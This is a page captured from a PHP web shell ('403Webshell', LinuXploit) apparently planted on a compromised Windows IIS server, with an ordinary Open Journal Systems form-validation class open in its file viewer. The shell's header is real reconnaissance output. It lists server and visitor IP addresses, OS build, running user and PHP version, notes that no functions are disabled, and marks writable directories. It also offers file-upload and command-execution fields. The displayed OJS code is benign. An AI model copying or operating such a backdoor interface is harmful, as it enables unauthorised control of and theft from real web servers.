403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Old Sites/Libteiser - Ojs/ojs2/classes/form/validation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Old Sites/Libteiser - Ojs/ojs2/classes/form/validation/FormValidatorArrayCustom.inc.php
<?php

/**
 * @file classes/form/validation/FormValidatorArrayCustom.inc.php
 *
 * Copyright (c) 2003-2009 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class FormValidatorArrayCustom
 * @ingroup form_validation
 *
 * @brief Form validation check with a custom user function performing the validation check of an array of fields.
 */

// $Id: FormValidatorArrayCustom.inc.php,v 1.4.2.2 2009/04/08 19:42:47 asmecher Exp $


import('form.validation.FormValidator');

class FormValidatorArrayCustom extends FormValidator {

	/** @var array Array of fields to check */
	var $fields;

	/** @var array Array of field names where an error occurred */
	var $errorFields;

	/** @var boolean is the field a multilingual-capable field */
	var $isLocaleField;

	/** Custom validation function */
	var $userFunction;

	/** Additional arguments to pass to $userFunction */
	var $additionalArguments;

	/** If true, field is considered valid if user function returns false instead of true */
	var $complementReturn;

	/**
	 * Constructor.
	 * @see FormValidator::FormValidator()
	 * @param $field string field name specifying an array of fields, i.e. name[]
	 * @param $fields array all subfields for each item in the array, i.e. name[][foo]. If empty it is assumed that name[] is a data field
	 */
	function FormValidatorArrayCustom(&$form, $field, $type, $message, $userFunction, $additionalArguments = array(), $complementReturn = false, $fields = array(), $isLocaleField = false) {
		parent::FormValidator($form, $field, $type, $message);
		$this->fields = $fields;
		$this->errorFields = array();
		$this->isLocaleField = $isLocaleField;
		$this->userFunction = $userFunction;
		$this->additionalArguments = $additionalArguments;
		$this->complementReturn = $complementReturn;
	}

	/**
	 * Check if field value is valid.
	 * Value is valid if it is empty and optional or is in the set of accepted values.
	 * @return boolean
	 */
	function isValid() {
		if ($this->type == 'optional') {
			return true;
		}

		$valid = true;
		$data = $this->form->getData($this->field);
		if (!is_array($data)) return false;
		foreach ($data as $key => $value) {
			if (count($this->fields) == 0) {
				if ($this->isLocaleField) {
					$ret = call_user_func_array($this->userFunction, array_merge(array($value), $key, $this->additionalArguments));
				} else {
					$ret = call_user_func_array($this->userFunction, array_merge(array($value), $this->additionalArguments));					
				}
				$ret = $this->complementReturn ? !$ret : $ret;
				if (!$ret) {
					$valid = false;
					if ($this->isLocaleField) {
						array_push($this->errorFields, array($key => "{$this->field}[{$key}]"));
					} else {
						array_push($this->errorFields, "{$this->field}[{$key}]");
					}
				}
			} else {
				foreach ($this->fields as $field) {
					if ($this->isLocaleField) {
						$ret = call_user_func_array($this->userFunction, array_merge(array($value[$field]), $key, $this->additionalArguments));
					} else {
						$ret = call_user_func_array($this->userFunction, array_merge(array($value[$field]), $this->additionalArguments));
					}
					$ret = $this->complementReturn ? !$ret : $ret;
					if (!$ret) {
						$valid = false;
						if ($this->isLocaleField) {
							array_push($this->errorFields, array($key => "{$this->field}[{$key}][{$field}]"));
						} else {
							array_push($this->errorFields, "{$this->field}[{$key}][{$field}]");
						}
					}
				}
			}
		}
		return $valid;
	}

	/**
	 * Get array of fields where an error occurred.
	 * @return array
	 */
	function getErrorFields() {
		return $this->errorFields;
	}

	/**
	 * Is the field an array.
	 * @return boolean
	 */
	function isArray() {
		return is_array($this->form->getData($this->field));
	}

	/**
	 * Is it a multilingual-capable field.
	 * @return boolean
	 */
	function isLocaleField() {
		return $this->isLocaleField;
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit